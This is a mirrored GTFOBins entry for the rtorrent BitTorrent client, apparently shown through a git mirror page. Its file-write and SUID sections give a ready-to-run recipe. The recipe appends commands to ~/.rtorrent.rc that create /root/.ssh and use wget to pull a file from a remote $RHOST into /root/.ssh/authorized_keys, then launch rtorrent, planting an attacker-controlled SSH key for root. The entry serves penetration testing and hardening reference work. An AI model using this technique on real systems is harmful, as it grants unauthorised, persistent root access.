mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 15:59:17 +01:00
19 lines
503 B
Markdown
19 lines
503 B
Markdown
|
---
|
||
|
description: a BitTorrent client for ncurses.
|
||
|
functions:
|
||
|
file-write:
|
||
|
- code: |
|
||
|
cat >> ~/.rtorrent.rc <<EOF
|
||
|
execute.throw = mkdir,/root/.ssh
|
||
|
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
|
||
|
EOF
|
||
|
rtorrent
|
||
|
suid:
|
||
|
- code: |
|
||
|
cat >> ~/.rtorrent.rc <<EOF
|
||
|
execute.throw = mkdir,/root/.ssh
|
||
|
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
|
||
|
EOF
|
||
|
./rtorrent
|
||
|
---
|